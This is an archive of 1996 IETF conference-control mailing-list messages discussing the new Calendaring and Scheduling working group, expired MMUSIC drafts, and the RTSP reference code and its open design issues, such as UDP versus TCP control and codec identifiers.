Received: from dns2.noc.best.net by venera.isi.edu (5.65c/5.61+local-25)
	id <AA29828>; Tue, 29 Oct 1996 16:03:53 -0800
Received: from mg131-214.ricochet.net (mg131-214.ricochet.net [204.179.131.214]) by dns2.noc.best.net (8.6.12/8.6.5) with SMTP id PAA14935 for <confctrl@ISI.EDU>; Tue, 29 Oct 1996 15:55:17 -0800
Date: Tue, 29 Oct 1996 15:55:17 -0800
Message-Id: <1.5.4.16.19961029164715.0ba7811a@pop.best.com>
X-Sender: rsf@pop.best.com
X-Mailer: Windows Eudora Light Version 1.5.4 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@lvn.com>
Subject: FYI: A new IETF working group relevant to "confctrl"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

As SDP includes an event representation format, this new WG is somewhat
relevant.  (In particular, future versions of SDP should probably use this
new format, or at least something isomorphic to it.)

It was an omission on their part that SDP wasn't mentioned in the list of
prior work.  One of the goals that Mark Handley satisfied in SDP was the
consistent handling of repeated events, in spite of time zone changes.  I
hope that the event representation format that comes out of this new WG will
address this problem as well.

        Ross.

>To: IETF-Announce:;
>Subject: WG ACTION: Calendaring and Scheduling (calsch) 
>Date: Tue, 29 Oct 1996 14:33:07 -0500
>Sender: ietf-announce-request@ietf.org
>From: Cynthia Clark <cclark@ietf.org>
>
>
>A new working group has been formed in the Applications Area
>of the IETF. For additional information, contact the Area Directors or 
>the WG Chair.
>
>Calendaring and Scheduling (calsch)
>-----------------------------------
>  
> Chair(s):
>     Anik Ganguly <anik@ontime.com>
>     R. Moskowitz <rgm3@chrysler.com>
> 
> Applications Area Director(s): 
>     Keith Moore  <moore+iesg@cs.utk.edu>
>     Harald Alvestrand  <Harald.T.Alvestrand@uninett.no>
> 
> Area Advisor
>     H. Alvestrand  <Harald.T.Alvestrand@uninett.no>
> 
> Mailing lists: 
>     General Discussion:ietf-calendar@imc.org
>     To Subscribe:      ietf-calendar-request@imc.org
>         In Body:       [SUBSCRIBE/UNSUBSCRIBE in Message body]
>     Archive:           
> 
>Description of Working Group:
> 
>Calendaring and group scheduling products are well established for
>organizational use, but they usually are limited to exchange of
>information among users of the same system, usually within the
>boundaries of a single organization. This working group will pursue
>development of standards to enable different products to interoperate
>and to work across organizational boundaries. This work will include
>the development of MIME content types to represent common objects
>needed for calendaring and group scheduling transactions and access
>protocols between systems and between clients and servers. The working
>group will also consider and recommend solutions to the security issues
>concerning the exchange of calendar information between network
>entities.
> 
>The group will exist to create standards that make calendaring and
>scheduling software significantly more useful and to enable a new class
>of solutions to be built that are only viable if open standards exist.
>The Calendaring and Scheduling Working Group is chartered to focus on
>Internet standards for three basic problems facing group scheduling and
>calendaring users today. These include the following:
> 
>1. A standard content type for capturing calendar event and to-do
>   information. The content type should be suitable as a MIME message
>   entity that can be transferred over MIME based email systems or HTTP
>   World Wide Web. The basic objects along with their representation using
>   MIME will be specified in the document entitled "Core Object
>   Specification".
> 
>2. A standard peer-to-peer protocol for common calendaring and group
>   scheduling transactions.  For example, these may include exchanging
>   over the Internet, event-requests, reply to event-requests,
>   cancellation notices for event-requests, requesting free/busy time
>   and replying to free/busy time requests between different
>   calendaring products.  The working group will undertake this work in
>   two phases, with the first phase focusing on meeting requests and
>   the second phase on free-busy time.  To the extent that the
>   peer-to-peer protocol has requirements related to security, the
>   working group will attempt to apply existing Internet standards for
>   authentication, and to assure privacy and integrity of sensitive
>   calendaring information.  The protocol for the interoperable
>   transactions will be specified in a document called "Calendar
>   Interoperability Protocol" in the milestone list.
> 
>3. A standard access protocol to allow for the management of calendars,
>   events and to-dos over the Internet. This protocol will be specified
>   in the document called "Calendar Access Protocol" in the milestone
>   list.
> 
>   This working group effort should be developed and stabilized with a
>   6-9 months since there has been considerable prior work done in this
>   area. This prior body of work includes:
> 
>   * Distributed Scheduling Protocol (CHRONOS) IETF Working Group
>   * ISO/IEC SC18 Distributed Office Application for Calendaring,
>     Scheduling and Appointments
>   * MHS Alliance Calendaring and Scheduling Interoperability Protocol
>     (CSIP)
>   * X.400 API Association (XAPIA) Calendaring and Scheduling API (CSA)
>     and Calendaring and Scheduling Interoperabilty Specification
>     (CSIS)
>   * X/Open Consortium Calendaring and Scheduling (XCS) Implementor's
>     Specification
>   * Versit vCalendar format
> 
> 
>   The working group will focus on harmonizing, evolving and developing
>   protocols and algorithms based on this work. The process is subject
>   to extension if many new features are added, or more revision is
>   needed.
> 
> 
> 
> Goals and Milestones: 
>
>   Nov 96       Submit core object specification as Internet-Draft.            
>
>   Dec 96       Submit second draft of core object specification as 
>                Internet-Draft.                                                
>
>   Dec 96       Submit first Internet-Draft of Calendar Interoperability 
>                Protocol.                                                      
>
>   Feb 97       Submit Internet-Draft on Calendar Access Protocol.             
>
>   Mar 97       Submit core object specification to IESG for consideration as a
>                Proposed Standard.                                             
>
>   Mar 97       Submit revised Internet-Draft of Calendar Interoperability 
>                Protocol.                                                      
>
>   Mar 97       Submit Calendar Interoperability Protocol to IESG for 
>                consideration as a Proposed Draft.                             
>
>   May 97       Submit revised Internet-Draft on Calendar Access Protocol.     
>
>   Jun 97       Resolve integration issues with Object interaction 
>                specification.                                                 
>
>   Jun 97       Resolve integration issues with Core object specification.
>
>


From majordom@ISI.EDU  Wed Oct 30 22:14:15 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27898>; Thu, 31 Oct 1996 01:43:02 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27888>; Thu, 31 Oct 1996 01:42:59 -0800
Received: from aun.uninett.no by venera.isi.edu (5.65c/5.61+local-25)
	id <AA22825>; Thu, 31 Oct 1996 01:42:58 -0800
Received: from dale.uninett.no by aun.uninett.no with SMTP (PP);
          Thu, 31 Oct 1996 10:42:47 +0100
Received: from dale.uninett.no (localhost [127.0.0.1]) 
          by dale.uninett.no (8.6.9/8.6.12) with ESMTP id VAA05966;
          Wed, 30 Oct 1996 21:14:16 +0100
From: Harald.T.Alvestrand@uninett.no
To: Ross Finlayson <finlayson@lvn.com>
Cc: confctrl@ISI.EDU
Subject: Re: FYI: A new IETF working group relevant to "confctrl"
In-Reply-To: Your message of "Tue, 29 Oct 1996 15:55:17 PST." <1.5.4.16.19961029164715.0ba7811a@pop.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Id: <5962.846706454.1@dale.uninett.no>
Date: Wed, 30 Oct 1996 21:14:15 +0100
Message-Id: <5964.846706455@dale.uninett.no>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Thanks for noticing - I'd known that there should be a linkage,
but hadn't gotten around to sending notifications.

The CALSCH group probably has to be reminded that realtime folks
might know something about calendars too; their mindset is very
strongly towards scheduling for physical entities, and only
think of network "events" when reminded.

The problem of timezone for repeating events is enough to make
anyone's stomach turn sour - could you point me at the right chapter
and verse for Mark's definition?
(The killer is "0800, first Thursday of every month, Paris time,
1995-1996" - summer time MOVED)

                    Harald Tveit Alvestrand
                       Apps AD


From majordom@ISI.EDU  Thu Oct 31 08:04:31 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15616>; Thu, 31 Oct 1996 16:05:19 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15598>; Thu, 31 Oct 1996 16:05:13 -0800
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA27707>; Thu, 31 Oct 1996 16:05:06 -0800
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA23358
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 31 Oct 1996 16:05:09 -0800
Message-Id: <2.2.32.19961101000431.00cb37cc@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 31 Oct 1996 16:04:31 -0800
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP Reference Code Version 0.1
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Progressive Networks is releasing Alpha 0.1 of the RTSP, which serves as a
reference implementation, in the C language, of the first draft RTSP
Specification. The specification will undoubtedly change in the next months,
but we felt that it would be useful to get some code working early on, so
that the development and standards community could start experimentation and
use the code as a testbed for ironing out issues and misunderstandings.

Freely downloadable source code is provided for both a client and a server
for the following platforms: Windows, SUN Solaris, Linux, and FreeBSD.  More
platforms will be added later, but the code should be readily portable to
other platforms.

You may download the reference from the following URL:
http://www.realaudio.com/prognet/rt/reference.html

Alpha 1 of the RTSP player and server have the following known limitations
and anomalies:

*  Server is configured by default as single use; once the client goes away,
so does the server.  However, the server can be configured as an inetd
client, which will cause it to behave more like a normal server.

*  Media support is still weak.  There are no audio format
descriptors/parameters being passed between the client and server to
describe content, it just gets sent.

*  Hard coded limit of 5 streams in player.

*  Server scheduler is very naive, meant only to provide minimal functionality.

*  All message types are encoded/decoded in server, but only a subset is
used in this reference implementation.

*  The state machines in both the client and server are not robust.

*  Compressed SCP/RTP headers are implemented but not used.

*  No demonstration of option negotiation.

*  No metafile format is defined.  A ".rtsp" file format is provided for
interfacing with web browsers, but we *definitely* plan on changing this
format, as it currently only contains an URL.

For updates on the status of this software, please visit our RTSP Resource
Center at http://www.realaudio.com/prognet/rt.  

This isn't officially supported software, but if you have any questions or
problems, we would appreciate it if you would send them to
"rtsp-feedback@prognet.com".   We strongly encourage you to send in patches
and enhancements to the software as well, which will help to make this a
useful tool for understanding the RTSP protocol.

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Fri Nov  1 10:10:38 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03083>; Fri, 1 Nov 1996 18:11:25 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03076>; Fri, 1 Nov 1996 18:11:24 -0800
Received: from proxy1.ba.best.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA00277>; Fri, 1 Nov 1996 18:11:23 -0800
Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy1.ba.best.com (8.7.6/8.7.3) with ESMTP id SAA12448 for <confctrl@isi.edu>; Fri, 1 Nov 1996 18:10:47 -0800 (PST)
Received: (prince@localhost) by shellx.best.com (8.6.12/8.6.5) id SAA04872 for confctrl@isi.edu; Fri, 1 Nov 1996 18:10:38 -0800
Date: Fri, 1 Nov 1996 18:10:38 -0800
From: Vinay Kumar <prince@best.com>
Message-Id: <199611020210.SAA04872@shellx.best.com>
To: confctrl@isi.edu
Subject: Hypertext archives of this list are available
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hypertext archives of this mailing list (and several other MBone-related
lists) are now available on the MBone Information Web at

    http://www.mbone.com/lists/

The archives include postings as far back as we could obtain -- in
one case, back to 1992! -- and they are automagically updated with 
new postings each day.


BTW, the MBone Information Web has a new look and is generally being
upgraded with new and updated materials. If you're currently referencing
this site from another WWW site, please note that the current address is

    http://www.mbone.com/

and not older addresses like www.eit.com/techinfo/mbone.html or
www.best.com/~prince/techinfo or other variations. We're trying to
make sure that those old addresses continue to work, but can't promise
to do that forever. Please check and update your site.

Questions, suggestions, or comments: please send to webmaster@mbone.com

Enjoy!

From majordom@ISI.EDU  Wed Nov  6 16:47:42 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20405>; Wed, 6 Nov 1996 06:48:51 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20399>; Wed, 6 Nov 1996 06:48:49 -0800
Received: from domen.uninett.no by venera.isi.edu (5.65c/5.61+local-25)
	id <AA23197>; Wed, 6 Nov 1996 06:48:37 -0800
Received: from domen.uninett.no by domen.uninett.no with SMTP (PP) 
          id <07523-0@domen.uninett.no>; Wed, 6 Nov 1996 15:47:45 +0100
X-Mailer: exmh version 1.6.7 5/3/96
From: Harald.T.Alvestrand@uninett.no
To: confctrl@isi.edu
Subject: MMUSIC REQUEST: Please make your drafts available!
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 06 Nov 1996 15:47:42 +0100
Message-Id: <7520.847291662@domen.uninett.no>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hello,
I have been looking forward to reading this group's Internet-Drafts.

Unfortunately, the group currently has ONE Internet-Draft:

draft-ietf-mmusic-sccp-00.txt

ALL other Internet-Drafts of this group have expired.
This greatly hampers other people's ability to learn about this
work and benefit from it.

So what about it, folks? Time to get published again?

               Harald T. Alvestrand
               Applications AD




From majordom@ISI.EDU  Wed Nov  6 06:06:07 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22590>; Wed, 6 Nov 1996 08:06:21 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22584>; Wed, 6 Nov 1996 08:06:19 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26524>; Wed, 6 Nov 1996 08:06:18 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id LAA03212; Wed, 6 Nov 1996 11:06:08 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@lcs.mit.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Harald.T.Alvestrand@uninett.no
Cc: confctrl@isi.edu
Subject: Re: MMUSIC REQUEST: Please make your drafts available! 
In-Reply-To: Your message of "Wed, 06 Nov 96 15:47:42 +0100."
             <7520.847291662@domen.uninett.no> 
Date: Wed, 06 Nov 96 11:06:07 -0500
Message-Id: <32054.847296367@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Hello,
>I have been looking forward to reading this group's Internet-Drafts.
>
>Unfortunately, the group currently has ONE Internet-Draft:
>
>draft-ietf-mmusic-sccp-00.txt
>
>ALL other Internet-Drafts of this group have expired.
>This greatly hampers other people's ability to learn about this
>work and benefit from it.

Actually it's somewhat confusing - there seem to be more drafts on
some ID servers than others.  For now, look in
ftp://ftp.isi.edu/confctrl/docs/

We'll clear up to mess soon.

Mark

From majordom@ISI.EDU  Wed Nov  6 22:17:24 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10894>; Wed, 6 Nov 1996 12:18:36 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10885>; Wed, 6 Nov 1996 12:18:34 -0800
Received: from ruin.informatik.uni-bremen.de by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11216>; Wed, 6 Nov 1996 12:18:13 -0800
Received: by   ruin.informatik.uni-bremen.de (8.7.3/20.9.94cl) 
	  id   VAA14197
          Wed, 6 Nov 1996 21:17:24 +0100 (MET)
Date: Wed, 6 Nov 1996 21:17:24 +0100 (MET)
Message-Id: <199611062017.VAA14197@ruin.informatik.uni-bremen.de>
From: Carsten Bormann <cabo@informatik.uni-bremen.de>
To: Harald.T.Alvestrand@uninett.no
Cc: confctrl@ISI.EDU
Subject: Re: MMUSIC REQUEST: Please make your drafts available!
In-Reply-To: <7520.847291662@domen.uninett.no>
References: <7520.847291662@domen.uninett.no>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'm overdue with generating a new version of the confarch I-D.
As I'm overdue with a few more documents in other groups (ahem), I
won't promise anything right now, but my aim is to have the
interesting documents resurrected and updated by the San Jose IETF I-D
deadline.

Gruesse, Carsten

From majordom@ISI.EDU  Tue Nov 12 11:57:37 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12206>; Tue, 12 Nov 1996 19:58:19 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12200>; Tue, 12 Nov 1996 19:58:18 -0800
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA18137>; Tue, 12 Nov 1996 19:58:15 -0800
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA10243
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Tue, 12 Nov 1996 19:58:17 -0800
Message-Id: <2.2.32.19961113035737.009206ec@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 12 Nov 1996 19:57:37 -0800
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP Feedback Meeting 
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

As Mike mentioned in an earlier mail, we are holding a review of RTSP at
Netscape between 10am and 2pm, Wednesday, November 13, 1996.  I just wanted
to alert the members of this list of two things:

1.  We will be broadcasting this using RealAudio.  For details, see:
    http://www.realaudio.com/prognet/rt

2.  We will be discussing the following agenda, which should be up on our
website tomorrow as well.  See:
    http://www.realaudio.com/prognet/rt/netscape-961113.html

We hope this stirs up the conversation a little bit.  Please send, comments,
etc. to this list or to rtsp-feedback@prognet.com (this will make it easier
to get comments while down in San Jose)

Thanks
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com
---------

                                      
                              RTSP Open Issues
                                      
   At the [1]Stream Control BOF II hosted by Jeff Smith at NTT, several
   issues with RTSP were brought to light. As a result, we'd like to move
   toward resolving these issues at the [2]RTSP Feedback Meeting,
   November 13, 1996 hosted by Netscape Communications.
    1. Scope of RTSP
         a. Compartmentalize The Protocol
         b. Joining Into Existing Conferences
         c. Metafiles/Session Descriptions
    2. RTSP Implementation Issues
         a. Use Of UDP For Delivery Of Control Messages
         b. Text-based Control Protocol
         c. Change Appendix C (families of stream types)
       
  Section 1: Scope of RTSP
  
      Compartmentalize The Protocol
       At the Streams BOF II, hosted by Jeff Smith at NTT, one of the
       principle points of discussion was striking the balance between
       the current RTSP proposal of having one protocol that accomplishes
       all necessary tasks and the proposal by several attendees that
       RTSP should be modularized, breaking it up into several
       components. At the end of that meeting, PN agreed to come up with
       a straw man for breaking up RTSP into smaller pieces.
       In the following, we set out to understand the position taken by
       those members. We don't agree that it should be broken up into as
       many pieces as we've outlined below. However, we'll go along with
       a well-reasoned consensus and allow it to evolve.
       
      RTSP Framework
       The RTSP Framework would provide a collection of application and
       transport-level control protocols providing an extensible
       framework to enable controlled, on-demand delivery of real-time
       data in a client-server fashion. This document would describe how
       the underlying protocols are assembled to provide a complete
       specification.
       
      Our Base Requirements
          + Must provide a complete set of functionality for one-to-many
            streaming of multimedia
          + Must support real-time audio/video files and live real-time
            feeds or any type of live or other paced-content information
          + Protocol must be usable over low-bandwidth connections
          + Must optionally be capable of delivering full start-to-finish
            functionality within a single TCP connection
       
      RTSP Control Protocol
       The RTSP Control Protocol is the protocol that provides stream
       control for the RTSP Framework. This would be similar to the work
       that the MMUSIC group did with CCCP.
       
      RTSP Format Descriptors
       Appendix C of the current RTSP spec specifies format descriptors
       and families. There has been an expressed desire from Mark Handley
       and Henning Schulzrinne to separate this from the "control" part
       and make them the stream description format.
       Barring a full decoupling of RTSP and the format specifiers, even
       if the spirit of Appendix C remains the same, splitting the
       document here may be beneficial to encourage the evolution of the
       data types independent of the core RTSP specification.
       
      Stream Description Format
       This may be a merge of the Stream Description Protocol (SDP)
       proposed by Mark Handley and the tenative RTSP format. Henning
       Schulzrinne has a proposal which he has placed at
       [3]http://www.cs.columbia.edu/~hgs/rtsp/sdf.html
       He proposes the name "Session Description Format", which is one
       possibility. For that matter, we could come up with more
       reasonable names by the pick-one-from-any-column mechanism:

      Column 1         Column 2        Column 3
      ========         ========        ========
      Session          Description     Format
      Clip             Metafile
      Presentation


      Streaming Stream Description Format
       This would provide stream description functionality in a streaming
       format, such that new streams can be dynamically added and removed
       within a single RTSP session, and that a single TCP connection
       (authenticated once) can handle the entire experience from start
       to finish. This would be similar to SIP, and perhaps could be
       merged with SIP.
       
      Compressed RTP
       This would be the definintion of the RTSP version of compressed
       RTP.
       
      SCP and Compressed SCP
       We'll work with Simon Spero and the appropriate working groups to
       define a format that works well for this.
       Simon has a new proposal for SCP at:
       [4]http://sunsite.unc.edu/ses/scp.html
       We haven't had time to fully evaluate it, but so far, it looks
       pretty good.
       
      Using RTSP Control over SCP
       This would define how the RTSP Control protocol would work over
       SCP.
       
      Using RTSP Control over UDP
       ...yet another proposal
    a.
       
    Joining Into Existing Conferences
       Intel came to the NTT BOF prepared with a presentation of
       H.323-RTSP interoperability, which unfortunately, we didn't have
       time to discuss at the last meeting. Basically, they've presented
       two different scenarios and the changes necessary in each.
          + _Proxy RTSP/RTP into an H.323/RTP conference_- The advantage
            here is that it would involve no changes to H.323 or RTSP.
            The disadvantage of this approach is that the RTSP-H.323
            proxy would be responsible for translating the individual RTP
            packets.
          + _Stream RTP directly from an RTSP server into an H.323
            conference_-The advantage here is that it free the proxy from
            the responsibility of dealing with the individual packets.
            The disadvantage is that it may require changes to the
            current RTSP specification.
    b.
       
    Metafiles/Session Descriptions
       In a metafile, we want to express:
          + programs of different languages, with a different audio
            channel for each language, but a common video channel. This
            could even change during the session, e.g., for a conference
            held in France, where the non-French speakers are
            automatically translated.
          + media with different encodings, e.g., to cater to different
            bandwidth capabilities
          + time-sequences of media, e.g., different audio clips to be
            collated into a single program or a video clip that is only
            active during a part of the session.
       This list does not include user interaction, e.g., branching for
       alternate movie endings or different paths through an educational
       video.
       Timing dependency is not strictly necessary, since we can have
       inactive media, with the potential problems of having to allocate
       screen real-estate, invoke applications, etc. even though the
       media stream may never be invoked.
       
      Dualing Requirements
       We have two possibly conflicting requirements. On one hand, we
       would like to have a metafile format which provides the client
       with everything necessary to passively listen on a multicast
       session. This would require very intimate knowledge of the streams
       involved. Packetization sizes and compression parameters would
       need to be included here, as well as all information that would
       typically be found in a RIFF header.
       On the other hand, we would like to have a simple format with
       which a "presentation author" may take streams stored on different
       machines and aggregate them into a presentation, with as little
       knowledge of the underlying protocol as necessary.
       A third requirement is somewhere in between. We need to have
       enough information in the metafile for the client to make an
       intelligent decision which streams it should select. In other
       words, it would need to know at least the raw bandwidth of the
       stream, and perhaps language characteristics.
       
  Section 2: RTSP Implementation Issues
  
    a.
       
    Use Of UDP For Delivery Of Control Messages
       UDP delivery of control messages is a tricky subject, On one hand,
       UDP makes a lot of sense for a real-time protocol. As Scott
       Petrack puts it:
       _"My experience shows that control messages over TCP can indeed be
       delayed or worse because of flow control. This happens typically
       when trying to get service from Israel to some server in the US in
       the heavily loaded hours of the internet. (There are often 14 hops
       between me and some server in the US). By "worse" I mean that the
       delay is so bad that the connection times out. This is because all
       the UDP stream traffic just totally overwhelms TCP traffic. This
       is one of those things that of course will be solved when the
       Messiah comes and RED is deployed, but until then my very
       "real-world" experience suggests that using TCP will result in
       significantly worse control function.
       "The problem is not so much a STOP message, since I can just stop
       the playout locally. The problem occurs with things like fast
       forward or even worse, slow motion. Within the true hard
       constraints of RTT, I would like to be able to play with the
       control buttons (like pause, slow down, fast forward, etc.), just
       like I could do at home. The constraint of RTT and jitter are very
       limiting, but my experience shows that using TCP in the control
       channel significantly reduces the amount of function I can get."
       _However, it does make it more difficult to implement over a
       firewall. Adrien de Croy, a developer on the Wingate Firewall, has
       this to say:
       _"For firewalls, it becomes very difficult to implement a proxy
       for a protocol where the protocol is not based on TCP or does not
       have a TCP component. This is because the proxy must allocate
       resources for a client request, and with UDP you get no
       information about when a request is completed (i.e close on a
       socket in TCP), and hence you have a problem about when to
       deallocate the resource - you can't tell when someone has finished
       unless you analyse the protocol to the nth degree, and the
       protocol includes a sign-off process.
       "You can do things like UDP relaying, but this has to rely on
       things like an inactivity timeout in order to deallocate
       resources, which is inefficient at best, and can cause problems
       with high volume sites (I have seen them - real easy to run out of
       sockets if you are even a couple of seconds out in your estimate
       of when to terminate a client session).
       "It is however very easy to create a proxy for a protocol that
       contains a mixture of protocols (i.e TCP and UDP). You can use the
       TCP connection to decide when to deallocate resources (i.e when
       the TCP connection closes, shut down the UDP sockets as well)."_
    b.
       
    Text-based control protocol
       Pros of having an text-based control protocol:
          + Header fields within the message reduce the number of
            messages required between client and server, for instance, an
            Accept request header field delimits the acceptable session
            description types for the response; an Allow response header
            field lists the methods supported by the resource indentified
            by the Request URI
          + Unrecognized methods can be handled in a reasonable way; new
            methods can be added (and used by clients) very easily
       The cons include:
          + More bandwidth on control message could increase response
            latency (increases the odds that message will be split among
            packets in TCP, any one of which may lost).
          + Parsing will be a bit more computationally expensive
          + Interleaving data/text within stream is difficult
       
      Change Appendix C (families of stream types)
       Microsoft has proposed the following changes to Appendix C of the
       protocol.
          + CODEC IDs should be UUIDs.
          + Modify Audio Family
          + Add Video Family
       
      CODEC IDs should be UUIDs.
       From [5]Microsoft's proposed changes:
       _"Given the rapid pace of development in this field it makes
       little sense to have these identifiers assigned by a standards
       body. If someone creates a CODEC and wants to release it
       immediately on the Internet, they should be able to do so by
       identifying the CODEC with a UUID that they generate which is
       almost certain to be unique instead of having to request and wait
       for an approved 32-bit identifier. The size difference (12 bytes)
       is not a legitimate concern given the low frequency of
       transmission (a few times during initial control communications)
       of these IDs. A client application that encounters a stream that
       uses an unknown CODEC could use CODEC location information to
       download (or order) the CODEC. We believe the use of UUIDs in RTSP
       allows the most freedom for the rapid development of new
       technologies. To support CODECs that are identified by FOURCCs,
       there is a one-to-one mapping from FOURCCs to UUIDs."_
       
      Modify Audio Family
       Microsoft also proposes the "number of frames" field be removed
       from the audio family in Appendix C, because it is already in the
       STREAM_HEADER message. See [6]Microsoft's full proposal for
       details.
       
      Add Video Family
       Microsoft also proposes the "number of frames" field be removed
       from the audio family in Appendix C, because it is already in the
       STREAM_HEADER message. See [7]Microsoft's full proposal for
       details.
       
  Feedback
  
   Send feedback to the _confctrl_ alias, which is run by the [8]IETF's
   MMUSIC group. Or, you may email [9]rtsp-feedback@prognet.com. For
   other ways to provide feedback, check out our RTSP feedback page at
   [10]http://www.realaudio.com/prognet/rt/feedback.html
   
                                 
     _________________________________________________________________

References

   1. http://alicia.nttlabs.com/%7Esumisu/streams-bof/BOFII/
   2. http://www.realaudio.com/prognet/rt/netscape-961113.html
   3. http://www.cs.columbia.edu/~hgs/rtsp/sdf.html
   4. http://sunsite.unc.edu/ses/scp.html
   5.
http://alicia.nttlabs.com/%7Esumisu/streams-bof/BOFII/docs/RTSP-MSFT-Changes
-110796.html
   6.
http://alicia.nttlabs.com/%7Esumisu/streams-bof/BOFII/docs/RTSP-MSFT-Changes
-110796.html
   7.
http://alicia.nttlabs.com/%7Esumisu/streams-bof/BOFII/docs/RTSP-MSFT-Changes
-110796.html
   8. http://www.ietf.org/html.charters/mmusic-charter.html
   9. mailto:rtsp-feedback@prognet.com
  10. http://www.realaudio.com/prognet/rt/feedback.html



From majordom@ISI.EDU  Wed Nov 13 22:14:56 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21239>; Wed, 13 Nov 1996 12:15:17 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21232>; Wed, 13 Nov 1996 12:15:15 -0800
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-25)
	id <AA01182>; Wed, 13 Nov 1996 12:15:11 -0800
Received: by www45.inria.fr (8.7.6/8.6.12) id VAA20804; Wed, 13 Nov 1996 21:14:56 +0100 (MET)
Message-Id: <199611132014.VAA20804@www45.inria.fr>
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
From: Philipp Hoschka <hoschka@w3.org>
Subject: Re: RTSP Feedback Meeting 
Date: Wed, 13 Nov 1996 21:14:56 +0100
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



>1.  We will be broadcasting this using RealAudio.  For details, see:
>    http://www.realaudio.com/prognet/rt

Unfortunately, I get a "bad URL" message in the RealAudio Player
when trying to start the transmission :-(

----------------------------------------------------------------------
   Philipp Hoschka
   WWW: http://www.inria.fr/rodeo/personnel/hoschka/hoschka.html 
				|   INRIA - WWW Consortium
   hoschka@sophia.inria.fr      |   2004, Route des Lucioles, BP 93
   Tel:(+33) 93 65 79 84        |   06902 Sophia Antipolis Cedex
   Fax:(+33) 93 65 77 65        |   France
----------------------------------------------------------------------

From majordom@ISI.EDU  Wed Nov 13 05:24:09 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26200>; Wed, 13 Nov 1996 13:24:45 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26194>; Wed, 13 Nov 1996 13:24:44 -0800
Received: from ormail.intel.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA04906>; Wed, 13 Nov 1996 13:24:40 -0800
Received: from ibeam.intel.com (ibeam.jf.intel.com [134.134.208.3]) by ormail.intel.com (8.8.2/8.7.3) with SMTP id NAA16861; Wed, 13 Nov 1996 13:24:36 -0800 (PST)
Received: from bonfire by ibeam.intel.com with smtp
	(Smail3.1.28.1 #6) id m0vNmol-000RvtC; Wed, 13 Nov 96 13:25 PST
Message-Id: <2.2.32.19961113212409.006e2648@ibeam.intel.com>
X-Sender: bstrahm@ibeam.intel.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
